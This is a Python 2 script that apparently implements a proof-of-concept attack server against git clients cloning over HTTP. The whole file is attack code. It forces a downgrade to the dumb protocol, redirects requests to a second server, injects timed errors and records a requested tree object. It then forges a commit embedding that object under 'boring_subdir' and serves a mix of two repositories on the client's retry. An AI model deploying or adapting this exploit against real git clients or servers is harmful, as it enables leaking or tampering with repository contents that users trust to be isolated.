import SimpleHTTPServer
import SocketServer
import os.path
import re
import time
import os
import shutil
from io import BytesIO
from gitdb.base import IStream
import git
import gitdb
import binascii

try:
	shutil.rmtree('tempdir')
except:
	pass
shutil.copytree('.git', 'tempdir')
os.chdir('tempdir')

state = 0
state_2_time = None
tree_objid = None

def object_id_by_path(path):
	object_pat = re.compile('^/objects/([0-9a-f]{2})/([0-9a-f]*)')
	m = object_pat.match(path)
	if m == None:
		return None
	return m.group(1) + m.group(2)

class myHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):
	def do_forward(self):
		print '  forwarding'
		self.send_response(301)

		# downgrade smart to dumb protocol
		path = self.path.split('?')[0]

		# important: append dummy suffix to make git treat this as an
		# "insane redirect scheme" and not cache the redirect locally.
		dummy_suffix = '?dummy=dummy'

		new_path = '%s%s%s'%('http://localhost:8001', path, dummy_suffix)
		self.send_header('Location', new_path)
		self.end_headers()

	def do_error(self):
		print '  sending error'
		self.send_response(500, 'temporary error, please try again')
		self.end_headers()

	def do_GET(self):
		global state, state_2_time, tree_objid
		objid = object_id_by_path(self.path)
		print self.path
		if state == 0:
			if objid != None:
				# fetching the commit
				state = 1
			self.do_forward()
			return
		if state == 1:
			if objid != None:
				# fetching the tree
				print 'got tree object id: ' + objid
				tree_objid = objid
				state_2_time = time.time()
				state = 2
				self.do_error()
				return
			self.do_forward()
			return

		if state == 2:
			if state_2_time + 1 < time.time():
				print '### ADVANCING TO STATE 3'

				repo = git.Repo('.')
				cm_orig = repo.heads.master.commit
				tree = cm_orig.tree
				tree.cache.add_unchecked(binascii.unhexlify(tree_objid), 16384, 'boring_subdir')
				tree.cache.set_done()

				sio = BytesIO()
				git.objects.fun.tree_to_stream(tree._cache, sio.write)
				sio.seek(0)
				istream = repo.odb.store(IStream(gitdb.typ.str_tree_type, len(sio.getvalue()), sio))
				tree.binsha = istream.binsha
				print tree

				new_cm = git.Commit.create_from_tree(repo, tree, 'newest commit', parent_commits=[cm_orig], head=True)
				print new_cm

				os.system('git update-server-info')

				print '### GIT COMMIT CREATED'

				state = 3
			else:
				print 'not advancing'
				self.do_error()
				return

		# Code starting now should only run on second clone attempt.
		# Mix the two repos: Objects and metainfo that exist in our repo are served from
		# our repo, objects we don't have come from the remote repo.
		path = self.translate_path(self.path)
		if os.path.isfile(path) and not path.startswith('/objects/info/packs'):
			print '  sending file'
			f = self.send_head()
			if f:
			    try:
			        self.copyfile(f, self.wfile)
			    finally:
			        f.close()
		else:
			self.do_forward()

PORT = 8000
SocketServer.TCPServer.allow_reuse_address = True
handler = SocketServer.TCPServer(("", PORT), myHandler)
print "serving at port 8000"
handler.serve_forever()